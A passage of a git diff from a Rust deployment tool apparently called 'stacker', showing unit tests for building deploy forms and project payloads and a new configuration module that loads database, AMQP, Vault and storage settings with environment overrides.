.name("myproject") + .deploy_target(crate::cli::config_parser::DeployTarget::Server) + .server(crate::cli::config_parser::ServerConfig { + host: "203.0.113.10".to_string(), + user: "deploy".to_string(), + ssh_key: Some(std::path::PathBuf::from("/tmp/id_ed25519")), + port: 2222, + }) + .monitoring(crate::cli::config_parser::MonitoringConfig { + status_panel: true, + healthcheck: None, + metrics: None, + }) + .build() + .unwrap(); + let server_cfg = config.deploy.server.as_ref().unwrap(); + + let form = build_server_deploy_form(&config, server_cfg, "edge-box", false); + let vars = form["stack"]["vars"].as_array().unwrap(); + + assert_eq!(form["server"]["connection_mode"], "status_panel"); + assert!(form["stack"]["integrated_features"] + .as_array() + .unwrap() + .iter() + .any(|value| value == "statuspanel")); + assert!(vars.iter().any(|value| value["key"] == "vault_url")); + } + + #[test] + fn test_build_deploy_form_with_identity() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .deploy_target(crate::cli::config_parser::DeployTarget::Cloud) + .cloud(crate::cli::config_parser::CloudConfig { + provider: crate::cli::config_parser::CloudProvider::Hetzner, + orchestrator: crate::cli::config_parser::CloudOrchestrator::Remote, + region: None, + size: None, + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }) + .project_identity("optimumcode") + .build() + .unwrap(); + + let form = build_deploy_form(&config); + assert_eq!(form["stack"]["stack_code"], "optimumcode"); + } + + #[test] + fn test_build_deploy_form_with_status_panel() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .deploy_target(crate::cli::config_parser::DeployTarget::Cloud) + .cloud(crate::cli::config_parser::CloudConfig { + provider: crate::cli::config_parser::CloudProvider::Hetzner, + orchestrator: crate::cli::config_parser::CloudOrchestrator::Remote, + region: Some("nbg1".to_string()), + size: Some("cx22".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }) + .monitoring(crate::cli::config_parser::MonitoringConfig { + status_panel: true, + healthcheck: None, + metrics: None, + }) + .build() + .unwrap(); + + let form = build_deploy_form(&config); + // status_panel should inject "statuspanel" into integrated_features + let features = form["stack"]["integrated_features"].as_array().unwrap(); + assert!( + features.contains(&serde_json::json!("statuspanel")), + "integrated_features should contain 'statuspanel': {:?}", + features + ); + assert_eq!(form["server"]["connection_mode"], "status_panel"); + + // vault_url should be passed in stack.vars for the Ansible statuspanel role + let vars = form["stack"]["vars"].as_array().unwrap(); + let vault_var = vars.iter().find(|v| v["key"] == "vault_url"); + assert!( + vault_var.is_some(), + "stack.vars should contain vault_url: {:?}", + vars + ); + assert_eq!( + vault_var.unwrap()["value"], + DEFAULT_VAULT_URL, + "vault_url should be the public Vault address" + ); + + // status_panel_port should be passed in stack.vars for the cloud firewall + let port_var = vars.iter().find(|v| v["key"] == "status_panel_port"); + assert!( + port_var.is_some(), + "stack.vars should contain status_panel_port: {:?}", + vars + ); + assert_eq!( + port_var.unwrap()["value"], + "5000", + "status_panel_port should be 5000" + ); + } + + #[test] + fn test_build_deploy_form_with_nginx_proxy() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .deploy_target(crate::cli::config_parser::DeployTarget::Cloud) + .cloud(crate::cli::config_parser::CloudConfig { + provider: crate::cli::config_parser::CloudProvider::Hetzner, + orchestrator: crate::cli::config_parser::CloudOrchestrator::Remote, + region: Some("nbg1".to_string()), + size: Some("cx22".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }) + .proxy(crate::cli::config_parser::ProxyConfig { + proxy_type: crate::cli::config_parser::ProxyType::Nginx, + auto_detect: true, + domains: vec![], + config: None, + }) + .build() + .unwrap(); + + let form = build_deploy_form(&config); + // proxy type nginx should inject "nginx_proxy_manager" into extended_features + let ext_features = form["stack"]["extended_features"].as_array().unwrap(); + assert!( + ext_features.contains(&serde_json::json!("nginx_proxy_manager")), + "extended_features should contain 'nginx_proxy_manager': {:?}", + ext_features + ); + } + + #[test] + fn test_build_project_body_with_nginx_proxy_does_not_add_npm_project_feature() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .proxy(crate::cli::config_parser::ProxyConfig { + proxy_type: crate::cli::config_parser::ProxyType::Nginx, + auto_detect: true, + domains: vec![], + config: None, + }) + .build() + .unwrap(); + + let body = build_project_body(&config); + let features = body["custom"]["feature"].as_array().unwrap(); + assert!( + features.iter().all(|f| f["code"] != "nginx_proxy_manager"), + "feature array should not contain nginx_proxy_manager project app: {:?}", + features + ); + } + + #[test] + fn pipe_instance_request_serializes_adapter_references() { + let request = CreatePipeInstanceApiRequest { + deployment_hash: Some("dep-123".into()), + source_adapter: Some( + PipeAdapterReference::new("imap") + .with_config(serde_json::json!({ "mailbox": "INBOX" })), + ), + source_container: "status-panel-web".into(), + target_adapter: Some( + PipeAdapterReference::new("smtp") + .with_config(serde_json::json!({ "host": "smtp.example.com" })), + ), + target_container: None, + target_url: Some("smtp://mail.example.com:587".into()), + template_id: Some("tpl-123".into()), + field_mapping_override: Some(serde_json::json!({ "subject": "$.subject" })), + config_override: Some(serde_json::json!({ "timeout_secs": 30 })), + }; + + let value = serde_json::to_value(&request).unwrap(); + assert_eq!(value["source_adapter"]["code"], "imap"); + assert_eq!(value["target_adapter"]["code"], "smtp"); + assert_eq!(value["source_adapter"]["config"]["mailbox"], "INBOX"); + assert_eq!( + value["target_adapter"]["config"]["host"], + "smtp.example.com" + ); + } + + #[test] + fn pipe_instance_info_deserializes_adapter_references() { + let value = serde_json::json!({ + "id": "pipe-123", + "template_id": "tpl-123", + "deployment_hash": "dep-123", + "source_adapter": { + "code": "imap", + "role": "source", + "config": { "mailbox": "INBOX" } + }, + "source_container": "status-panel-web", + "target_adapter": { + "code": "smtp", + "role": "target", + "config": { "host": "smtp.example.com" } + }, + "target_container": "smtp", + "target_url": null, + "field_mapping_override": { "subject": "$.subject" }, + "config_override": { "timeout_secs": 30 }, + "status": "draft", + "last_triggered_at": null, + "trigger_count": 0, + "error_count": 0, + "created_by": "user-123", + "created_at": "2026-05-21T00:00:00Z", + "updated_at": "2026-05-21T00:00:00Z" + }); + + let info: PipeInstanceInfo = serde_json::from_value(value).unwrap(); + assert_eq!( + info.source_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("imap") + ); + assert_eq!( + info.target_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()), + Some("smtp") + ); + assert_eq!(info.source_container, "status-panel-web"); + assert_eq!(info.target_container.as_deref(), Some("smtp")); + } + + #[test] + fn test_build_project_body_skips_declared_npm_service_when_proxy_is_managed() { + let npm_service = ServiceDefinition { + name: "nginx_proxy_manager".to_string(), + image: "jc21/nginx-proxy-manager:latest".to_string(), + ports: vec![ + "80:80".to_string(), + "443:443".to_string(), + "81:81".to_string(), + ], + environment: std::collections::HashMap::new(), + volumes: vec!["npm_data:/data".to_string()], + depends_on: vec![], + }; + let redis_service = ServiceDefinition { + name: "redis".to_string(), + image: "redis:7-alpine".to_string(), + ports: vec![], + environment: std::collections::HashMap::new(), + volumes: vec![], + depends_on: vec![], + }; + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .add_service(npm_service) + .add_service(redis_service) + .proxy(crate::cli::config_parser::ProxyConfig { + proxy_type: crate::cli::config_parser::ProxyType::NginxProxyManager, + auto_detect: true, + domains: vec![], + config: None, + }) + .build() + .unwrap(); + + let body = build_project_body(&config); + let service = body["custom"]["service"].as_array().unwrap(); + let codes = service + .iter() + .filter_map(|app| app["code"].as_str()) + .collect::>(); + assert_eq!(codes, vec!["redis"]); + } + + #[test] + fn test_build_project_body_skips_platform_managed_services_even_without_proxy() { + let npm_service = ServiceDefinition { + name: "nginx_proxy_manager".to_string(), + image: "jc21/nginx-proxy-manager:latest".to_string(), + ports: vec![ + "80:80".to_string(), + "443:443".to_string(), + "81:81".to_string(), + ], + environment: std::collections::HashMap::new(), + volumes: vec!["npm_data:/data".to_string()], + depends_on: vec![], + }; + let statuspanel_service = ServiceDefinition { + name: "statuspanel".to_string(), + image: "ghcr.io/trydirect/statuspanel:latest".to_string(), + ports: vec!["5000:5000".to_string()], + environment: std::collections::HashMap::new(), + volumes: vec![], + depends_on: vec![], + }; + let smtp_service = ServiceDefinition { + name: "smtp".to_string(), + image: "trydirect/smtp:latest".to_string(), + ports: vec!["127.0.0.1:1025:25".to_string()], + environment: std::collections::HashMap::new(), + volumes: vec![], + depends_on: vec![], + }; + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .add_service(npm_service) + .add_service(statuspanel_service) + .add_service(smtp_service) + .proxy(crate::cli::config_parser::ProxyConfig { + proxy_type: crate::cli::config_parser::ProxyType::None, + auto_detect: false, + domains: vec![], + config: None, + }) + .build() + .unwrap(); + + let body = build_project_body(&config); + let service = body["custom"]["service"].as_array().unwrap(); + let codes = service + .iter() + .filter_map(|app| app["code"].as_str()) + .collect::>(); + assert_eq!(codes, vec!["smtp"]); + } + + #[test] + fn test_parse_port_mapping_accepts_host_ip_bindings() { + assert_eq!( + parse_port_mapping("127.0.0.1:1025:25"), + ("1025".to_string(), "25".to_string()) + ); + assert_eq!( + parse_port_mapping("127.0.0.1:1025:25/tcp"), + ("1025".to_string(), "25".to_string()) + ); + assert_eq!( + parse_port_mapping("3000:3000"), + ("3000".to_string(), "3000".to_string()) + ); + assert_eq!( + parse_port_mapping("8080"), + ("8080".to_string(), "8080".to_string()) + ); + } + + #[test] + fn test_scn_001_stacker_yml_service_serializes_as_service_target() { + let upload_service = ServiceDefinition { + name: "upload".to_string(), + image: "ghcr.io/example/upload:1.0".to_string(), + ports: vec!["8081:8080".to_string()], + environment: std::collections::HashMap::new(), + volumes: vec![], + depends_on: vec![], + }; + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("Device API") + .project_identity("device-api") + .app_image("ghcr.io/example/device-api:1.0") + .add_service(upload_service) + .build() + .unwrap(); + + let body = build_project_body(&config); + let web_codes = body["custom"]["web"] + .as_array() + .unwrap() + .iter() + .filter_map(|app| app["code"].as_str()) + .collect::>(); + let service_codes = body["custom"]["service"] + .as_array() + .unwrap() + .iter() + .filter_map(|app| app["code"].as_str()) + .collect::>(); + + assert_eq!(web_codes, vec!["device-api"]); + assert_eq!(service_codes, vec!["upload"]); + } + + #[test] + fn test_build_project_body_with_status_panel_does_not_add_status_panel_feature() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .monitoring(crate::cli::config_parser::MonitoringConfig { + status_panel: true, + healthcheck: None, + metrics: None, + }) + .build() + .unwrap(); + + let body = build_project_body(&config); + let features = body["custom"]["feature"].as_array().unwrap(); + assert!( + features.iter().all(|f| f["code"] != "statuspanel"), + "feature array should not contain statuspanel entry: {:?}", + features + ); + } + + #[test] + fn test_build_project_body_without_proxy() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("myproject") + .build() + .unwrap(); + + let body = build_project_body(&config); + let features = body["custom"]["feature"].as_array().unwrap(); + assert!( + features.is_empty(), + "feature array should be empty when no proxy configured" + ); + } + + #[test] + fn test_generate_server_name_basic() { + let name = generate_server_name("website"); + assert!(name.starts_with("website-"), "got: {}", name); + // 4 hex chars suffix + let suffix = &name["website-".len()..]; + assert_eq!(suffix.len(), 4); + assert!( + suffix.chars().all(|c| c.is_ascii_hexdigit()), + "suffix should be hex, got: {}", + suffix + ); + } + + #[test] + fn test_generate_server_name_sanitises() { + let name = generate_server_name("My Cool App!"); + assert!(name.starts_with("my-cool-app-"), "got: {}", name); + } + + #[test] + fn test_generate_server_name_empty() { + let name = generate_server_name(""); + assert!( + name.starts_with("srv-"), + "empty input should fallback to 'srv', got: {}", + name + ); + } + + #[test] + fn test_generate_server_name_special_chars() { + let name = generate_server_name("app___v2..beta"); + assert!( + name.starts_with("app-v2-beta-"), + "consecutive separators collapsed, got: {}", + name + ); + } + + #[test] + fn test_generate_server_name_numeric_start() { + // Hetzner requires name to start with a letter + let name = generate_server_name("123app"); + assert!( + name.starts_with("srv-123app-"), + "numeric start should get 'srv-' prefix, got: {}", + name + ); + } + + #[test] + fn test_generate_server_name_max_length() { + let long = "a".repeat(100); + let name = generate_server_name(&long); + assert!( + name.len() <= 63, + "name must be ≤63 chars (Hetzner), got {} chars: {}", + name.len(), + name + ); + assert!(name.starts_with("aaa"), "got: {}", name); + // Must not end with hyphen + assert!( + !name.ends_with('-'), + "must not end with hyphen, got: {}", + name + ); + } + + #[tokio::test] + async fn test_list_projects_falls_back_to_legacy_project_path() { + let server = MockServer::start().await; + + Mock::given(method("GET")) + .and(path("/api/v1/project")) + .respond_with(ResponseTemplate::new(404).set_body_string( + r#"{"_status":"ERR","_error":{"code":404,"message":"not found"}}"#, + )) + .mount(&server) + .await; + + Mock::given(method("GET")) + .and(path("/project")) + .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({ + "_status": "OK", + "list": [ + { + "id": 7, + "name": "demo-project", + "user_id": "user-1", + "metadata": {}, + "created_at": "2026-01-01T00:00:00Z", + "updated_at": "2026-01-01T00:00:00Z" + } + ] + }))) + .mount(&server) + .await; + + let client = StackerClient::new_for_target(&server.uri(), "token", DeployTarget::Server); + let projects = client + .list_projects() + .await + .expect("fallback should succeed"); + + assert_eq!(projects.len(), 1); + assert_eq!(projects[0].id, 7); + assert_eq!(projects[0].name, "demo-project"); + } + + #[tokio::test] + async fn test_deploy_falls_back_to_legacy_project_path() { + let server = MockServer::start().await; + + Mock::given(method("POST")) + .and(path("/api/v1/project/12/deploy")) + .respond_with(ResponseTemplate::new(404).set_body_string( + r#"{"_status":"ERR","_error":{"code":404,"message":"not found"}}"#, + )) + .mount(&server) + .await; + + Mock::given(method("POST")) + .and(path("/project/12/deploy")) + .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({ + "id": 99, + "_status": "OK", + "meta": { + "deployment_hash": "hash-123" + } + }))) + .mount(&server) + .await; + + let client = StackerClient::new_for_target(&server.uri(), "token", DeployTarget::Server); + let response = client + .deploy( + 12, + None, + serde_json::json!({ "stack": { "stack_code": "demo" } }), + ) + .await + .expect("deploy fallback should succeed"); + + assert_eq!(response.id, Some(99)); + assert_eq!(response.status.as_deref(), Some("OK")); + assert_eq!( + response + .meta + .as_ref() + .and_then(|meta| meta.get("deployment_hash")), + Some(&serde_json::json!("hash-123")) + ); + } + + #[tokio::test] + async fn test_list_projects_retries_api_v1_after_forbidden_legacy_proxy_response() { + let server = MockServer::start().await; + + Mock::given(method("GET")) + .and(path("/api/v1/project")) + .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({ + "_status": "OK", + "list": [ + { + "id": 7, + "name": "demo-project", + "user_id": "user-1", + "metadata": {}, + "created_at": "2026-01-01T00:00:00Z", + "updated_at": "2026-01-01T00:00:00Z" + } + ] + }))) + .mount(&server) + .await; + + Mock::given(method("GET")) + .and(path("/project")) + .respond_with(ResponseTemplate::new(403).set_body_string("forbidden")) + .mount(&server) + .await; + + let client = StackerClient::new_for_target(&server.uri(), "token", DeployTarget::Server); + let projects = client + .list_projects() + .await + .expect("api v1 endpoint should be preferred before legacy 403"); + + assert_eq!(projects.len(), 1); + assert_eq!(projects[0].name, "demo-project"); + } +} diff --git a/stacker/stacker/src/configuration.rs b/stacker/stacker/src/configuration.rs new file mode 100644 index 0000000..afb96a7 --- /dev/null +++ b/stacker/stacker/src/configuration.rs @@ -0,0 +1,563 @@ +use crate::connectors::ConnectorConfig; +use serde; + +#[derive(Clone, serde::Deserialize)] +pub struct Settings { + pub database: DatabaseSettings, + pub app_port: u16, + pub app_host: String, + pub auth_url: String, + #[serde(default = "Settings::default_auth_request_timeout_secs")] + pub auth_request_timeout_secs: u64, + #[serde(default = "Settings::default_auth_connect_timeout_secs")] + pub auth_connect_timeout_secs: u64, + #[serde(default = "Settings::default_user_service_url")] + pub user_service_url: String, + pub max_clients_number: i64, + #[serde(default = "Settings::default_agent_command_poll_timeout_secs")] + pub agent_command_poll_timeout_secs: u64, + #[serde(default = "Settings::default_agent_command_poll_interval_secs")] + pub agent_command_poll_interval_secs: u64, + #[serde(default = "Settings::default_casbin_reload_enabled")] + pub casbin_reload_enabled: bool, + #[serde(default = "Settings::default_casbin_reload_interval_secs")] + pub casbin_reload_interval_secs: u64, + #[serde(default)] + pub amqp: AmqpSettings, + #[serde(default)] + pub vault: VaultSettings, + #[serde(default)] + pub connectors: ConnectorConfig, + #[serde(default)] + pub deployment: DeploymentSettings, + #[serde(default)] + pub marketplace_assets: MarketplaceAssetSettings, +} + +impl std::fmt::Debug for Settings { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Settings") + .field("database", &self.database) + .field("app_port", &self.app_port) + .field("app_host", &self.app_host) + .field("auth_url", &self.auth_url) + .field("auth_request_timeout_secs", &self.auth_request_timeout_secs) + .field("auth_connect_timeout_secs", &self.auth_connect_timeout_secs) + .field("user_service_url", &self.user_service_url) + .field("max_clients_number", &self.max_clients_number) + .field( + "agent_command_poll_timeout_secs", + &self.agent_command_poll_timeout_secs, + ) + .field( + "agent_command_poll_interval_secs", + &self.agent_command_poll_interval_secs, + ) + .field("casbin_reload_enabled", &self.casbin_reload_enabled) + .field( + "casbin_reload_interval_secs", + &self.casbin_reload_interval_secs, + ) + .field("amqp", &self.amqp) + .field("vault", &self.vault) + .field("connectors", &self.connectors) + .field("deployment", &self.deployment) + .field("marketplace_assets", &self.marketplace_assets) + .finish() + } +} + +impl Default for Settings { + fn default() -> Self { + Self { + database: DatabaseSettings::default(), + app_port: 8000, + app_host: "127.0.0.1".to_string(), + auth_url: "http://localhost:8080/me".to_string(), + auth_request_timeout_secs: Self::default_auth_request_timeout_secs(), + auth_connect_timeout_secs: Self::default_auth_connect_timeout_secs(), + user_service_url: Self::default_user_service_url(), + max_clients_number: 10, + agent_command_poll_timeout_secs: Self::default_agent_command_poll_timeout_secs(), + agent_command_poll_interval_secs: Self::default_agent_command_poll_interval_secs(), + casbin_reload_enabled: Self::default_casbin_reload_enabled(), + casbin_reload_interval_secs: Self::default_casbin_reload_interval_secs(), + amqp: AmqpSettings::default(), + vault: VaultSettings::default(), + connectors: ConnectorConfig::default(), + deployment: DeploymentSettings::default(), + marketplace_assets: MarketplaceAssetSettings::default(), + } + } +} + +impl Settings { + fn default_user_service_url() -> String { + "http://user:4100".to_string() + } + + fn default_auth_request_timeout_secs() -> u64 { + 5 + } + + fn default_auth_connect_timeout_secs() -> u64 { + 2 + } + + fn default_agent_command_poll_timeout_secs() -> u64 { + 30 + } + + fn default_agent_command_poll_interval_secs() -> u64 { + 3 + } + + fn default_casbin_reload_enabled() -> bool { + true + } + + fn default_casbin_reload_interval_secs() -> u64 { + 10 + } +} + +#[derive(serde::Deserialize, Clone)] +pub struct DatabaseSettings { + pub username: String, + pub password: String, + pub host: String, + pub port: u16, + pub database_name: String, +} + +impl std::fmt::Debug for DatabaseSettings { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("DatabaseSettings") + .field("username", &self.username) + .field("password", &"[REDACTED]") + .field("host", &self.host) + .field("port", &self.port) + .field("database_name", &self.database_name) + .finish() + } +} + +impl Default for DatabaseSettings { + fn default() -> Self { + Self { + username: "postgres".to_string(), + password: "postgres".to_string(), + host: "127.0.0.1".to_string(), + port: 5432, + database_name: "stacker".to_string(), + } + } +} + +#[derive(serde::Deserialize, Clone)] +pub struct AmqpSettings { + pub username: String, + pub password: String, + pub host: String, + pub port: u16, +} + +impl std::fmt::Debug for AmqpSettings { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("AmqpSettings") + .field("username", &self.username) + .field("password", &"[REDACTED]") + .field("host", &self.host) + .field("port", &self.port) + .finish() + } +} + +impl Default for AmqpSettings { + fn default() -> Self { + Self { + username: "guest".to_string(), + password: "guest".to_string(), + host: "127.0.0.1".to_string(), + port: 5672, + } + } +} + +/// Deployment-related settings for app configuration paths +#[derive(Debug, serde::Deserialize, Clone)] +pub struct DeploymentSettings { + /// Base path for app config files on the deployment server + /// Default: /home/trydirect + /// Can be overridden via DEFAULT_DEPLOY_DIR env var + #[serde(default = "DeploymentSettings::default_config_base_path")] + pub config_base_path: String, +} + +impl Default for DeploymentSettings { + fn default() -> Self { + Self { + config_base_path: Self::default_config_base_path(), + } + } +} + +#[derive(serde::Deserialize, Clone)] +pub struct MarketplaceAssetSettings { + #[serde(default)] + pub enabled: bool, + #[serde(default = "MarketplaceAssetSettings::default_current_env")] + pub current_env: String, + #[serde(default)] + pub endpoint_url: String, + #[serde(default = "MarketplaceAssetSettings::default_region")] + pub region: String, + #[serde(default)] + pub access_key_id: String, + #[serde(default)] + pub secret_access_key: String, + #[serde(default = "MarketplaceAssetSettings::default_bucket_dev")] + pub bucket_dev: String, + #[serde(default = "MarketplaceAssetSettings::default_bucket_test")] + pub bucket_test: String, + #[serde(default = "MarketplaceAssetSettings::default_bucket_staging")] + pub bucket_staging: String, + #[serde(default = "MarketplaceAssetSettings::default_bucket_prod")] + pub bucket_prod: String, + #[serde(default)] + pub server_side_encryption: Option, + #[serde(default = "MarketplaceAssetSettings::default_presign_put_ttl_secs")] + pub presign_put_ttl_secs: u64, + #[serde(default = "MarketplaceAssetSettings::default_presign_get_ttl_secs")] + pub presign_get_ttl_secs: u64, +} + +impl std::fmt::Debug for MarketplaceAssetSettings { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("MarketplaceAssetSettings") + .field("enabled", &self.enabled) + .field("current_env", &self.current_env) + .field("endpoint_url", &self.endpoint_url) + .field("region", &self.region) + .field("access_key_id", &self.access_key_id) + .field("secret_access_key", &"[REDACTED]") + .field("bucket_dev", &self.bucket_dev) + .field("bucket_test", &self.bucket_test) + .field("bucket_staging", &self.bucket_staging) + .field("bucket_prod", &self.bucket_prod) + .field("server_side_encryption", &self.server_side_encryption) + .field("presign_put_ttl_secs", &self.presign_put_ttl_secs) + .field("presign_get_ttl_secs", &self.presign_get_ttl_secs) + .finish() + } +} + +impl Default for MarketplaceAssetSettings { + fn default() -> Self { + Self { + enabled: false, + current_env: Self::default_current_env(), + endpoint_url: String::new(), + region: Self::default_region(), + access_key_id: String::new(), + secret_access_key: String::new(), + bucket_dev: Self::default_bucket_dev(), + bucket_test: Self::default_bucket_test(), + bucket_staging: Self::default_bucket_staging(), + bucket_prod: Self::default_bucket_prod(), + server_side_encryption: Some("AES256".to_string()), + presign_put_ttl_secs: Self::default_presign_put_ttl_secs(), + presign_get_ttl_secs: Self::default_presign_get_ttl_secs(), + } + } +} + +impl MarketplaceAssetSettings { + fn default_current_env() -> String { + let current = std::env::var("STACKER_ENV") + .or_else(|_| std::env::var("APP_ENV")) + .or_else(|_| std::env::var("NODE_ENV")) + .unwrap_or_else(|_| "dev".to_string()); + + match current.as_str() { + "production" => "prod".to_string(), + "development" => "dev".to_string(), + other => other.to_string(), + } + } + + fn default_region() -> String { + "eu-central".to_string() + } + + fn default_bucket_dev() -> String { + "marketplace-assets-dev".to_string() + } + + fn default_bucket_test() -> String { + "marketplace-assets-test".to_string() + } + + fn default_bucket_staging() -> String { + "marketplace-assets-staging".to_string() + } + + fn default_bucket_prod() -> String { + "marketplace-assets-prod".to_string() + } + + fn default_presign_put_ttl_secs() -> u64 { + 900 + } + + fn default_presign_get_ttl_secs() -> u64 { + 300 + } + + pub fn active_bucket(&self) -> &str { + match self.current_env.as_str() { + "test" => &self.bucket_test, + "staging" => &self.bucket_staging, + "prod" | "production" => &self.bucket_prod, + _ => &self.bucket_dev, + } + } + + pub fn is_configured(&self) -> bool { + self.enabled + && !self.endpoint_url.trim().is_empty() + && !self.access_key_id.trim().is_empty() + && !self.secret_access_key.trim().is_empty() + && !self.active_bucket().trim().is_empty() + } +} + +impl DeploymentSettings { + fn default_config_base_path() -> String { + std::env::var("DEFAULT_DEPLOY_DIR").unwrap_or_else(|_| "/home/trydirect".to_string()) + } + + /// Get the full deploy directory for a given project name or deployment hash + pub fn deploy_dir(&self, name: &str) -> String { + format!("{}/{}", self.config_base_path.trim_end_matches('/'), name) + } + + /// Get the base path (for backwards compatibility) + pub fn base_path(&self) -> &str { + &self.config_base_path + } +} + +#[derive(serde::Deserialize, Clone)] +pub struct VaultSettings { + pub address: String, + pub token: String, + pub agent_path_prefix: String, + #[serde(default = "VaultSettings::default_api_prefix")] + pub api_prefix: String, + #[serde(default)] + pub ssh_key_path_prefix: Option, +} + +impl std::fmt::Debug for VaultSettings { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("VaultSettings") + .field("address", &self.address) + .field("token", &"[REDACTED]") + .field("agent_path_prefix", &self.agent_path_prefix) + .field("api_prefix", &self.api_prefix) + .field("ssh_key_path_prefix", &self.ssh_key_path_prefix) + .finish() + } +} + +impl Default for VaultSettings { + fn default() -> Self { + Self { + address: "http://127.0.0.1:8200".to_string(), + token: "dev-token".to_string(), + agent_path_prefix: "agent".to_string(), + api_prefix: Self::default_api_prefix(), + ssh_key_path_prefix: Some("users".to_string()), + } + } +} + +impl VaultSettings { + fn default_api_prefix() -> String { + "v1".to_string() + } + + /// Overlay Vault settings from environment variables, if present. + /// If an env var is missing, keep the existing file-provided value. + pub fn overlay_env(self) -> Self { + let address = std::env::var("VAULT_ADDRESS").unwrap_or(self.address); + let token = std::env::var("VAULT_TOKEN").unwrap_or(self.token); + let agent_path_prefix = + std::env::var("VAULT_AGENT_PATH_PREFIX").unwrap_or(self.agent_path_prefix); + let api_prefix = std::env::var("VAULT_API_PREFIX").unwrap_or(self.api_prefix); + let ssh_key_path_prefix = std::env::var("VAULT_SSH_KEY_PATH_PREFIX").unwrap_or( + self.ssh_key_path_prefix + .unwrap_or_else(|| "users".to_string()), + ); + + VaultSettings { + address, + token, + agent_path_prefix, + api_prefix, + ssh_key_path_prefix: Some(ssh_key_path_prefix), + } + } +} + +impl DatabaseSettings { + // Connection string: postgresql://:@:/ + pub fn connection_string(&self) -> String { + format!( + "postgresql://{}:{}@{}:{}/{}", + self.username, self.password, self.host, self.port, self.database_name, + ) + } + + pub fn connection_string_without_db(&self) -> String { + format!( + "postgresql://{}:{}@{}:{}", + self.username, self.password, self.host, self.port, + ) + } +} + +impl AmqpSettings { + pub fn connection_string(&self) -> String { + format!( + "amqp://{}:{}@{}:{}/%2f", + self.username, self.password, self.host, self.port, + ) + } +} + +/// Parses a boolean value from an environment variable string. +/// +/// Recognizes common boolean representations: "1", "true", "TRUE" +/// Returns `true` if the value matches any of these, `false` otherwise. +pub fn parse_bool_env(value: &str) -> bool { + matches!(value, "1" | "true" | "TRUE") +} + +pub fn get_configuration() -> Result { + // Load environment variables from .env file + dotenvy::dotenv().ok(); + + // Start with defaults + let mut config = Settings::default(); + + // Prefer real config, fall back to dist samples; layer multiple formats + let settings = config::Config::builder() + // Primary local config + .add_source(config::File::with_name("configuration.yaml").required(false)) + .add_source(config::File::with_name("configuration.yml").required(false)) + .add_source(config::File::with_name("configuration").required(false)) + // Fallback samples + .add_source(config::File::with_name("configuration.yaml.dist").required(false)) + .add_source(config::File::with_name("configuration.yml.dist").required(false)) + .add_source(config::File::with_name("configuration.dist").required(false)) + .build()?; + + // Try to convert the configuration values it read into our Settings type + if let Ok(loaded) = settings.try_deserialize::() { + config = loaded; + } + + // Overlay Vault settings with environment variables if present + config.vault = config.vault.overlay_env(); + + if let Ok(timeout) = std::env::var("STACKER_AGENT_POLL_TIMEOUT_SECS") { + if let Ok(parsed) = timeout.parse::() { + config.agent_command_poll_timeout_secs = parsed; + } + } + + if let Ok(interval) = std::env::var("STACKER_AGENT_POLL_INTERVAL_SECS") { + if let Ok(parsed) = interval.parse::() { + config.agent_command_poll_interval_secs = parsed; + } + } + + if let Ok(timeout) = std::env::var("STACKER_AUTH_REQUEST_TIMEOUT_SECS") { + if let Ok(parsed) = timeout.parse::() { + config.auth_request_timeout_secs = parsed; + } + } + + if let Ok(timeout) = std::env::var("STACKER_AUTH_CONNECT_TIMEOUT_SECS") { + if let Ok(parsed) = timeout.parse::() { + config.auth_connect_timeout_secs = parsed; + } + } + + if let Ok(enabled) = std::env::var("STACKER_CASBIN_RELOAD_ENABLED") { + config.casbin_reload_enabled = parse_bool_env(&enabled); + } + + if let Ok(interval) = std::env::var("STACKER_CASBIN_RELOAD_INTERVAL_SECS") { + if let Ok(parsed) = interval.parse::() { + config.casbin_reload_interval_secs = parsed; + } + } + + // Overlay AMQP settings with environment variables if present + if let Ok(host) = std::env::var("AMQP_HOST") { + config.amqp.host = host; + } + if let Ok(port) = std::env::var("AMQP_PORT") { + if let Ok(parsed) = port.parse::() { + config.amqp.port = parsed; + } + } + if let Ok(username) = std::env::var("AMQP_USERNAME") { + config.amqp.username = username; + } + if let Ok(password) = std::env::var("AMQP_PASSWORD") { + config.amqp.password = password; + } + + // Overlay Deployment settings with environment variables if present + if let Ok(base_path) = std::env::var("DEPLOYMENT_CONFIG_BASE_PATH") { + config.deployment.config_base_path = base_path; + } + + Ok(config) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_parse_bool_env_true_values() { + assert!(parse_bool_env("1")); + assert!(parse_bool_env("true")); + assert!(parse_bool_env("TRUE")); + } + + #[test] + fn test_parse_bool_env_false_values() { + assert!(!parse_bool_env("0")); + assert!(!parse_bool_env("false")); + assert!(!parse_bool_env("FALSE")); + assert!(!parse_bool_env("")); + assert!(!parse_bool_env("yes")); + assert!(!parse_bool_env("no")); + assert!(!parse_bool_env("True")); // Case-sensitive + assert!(!parse_bool_env("invalid")); + } + + #[test] + fn test_default_auth_timeouts_are_bounded() { + let settings = Settings::default(); + + assert_eq!(settings.auth_request_timeout_secs, 5); + 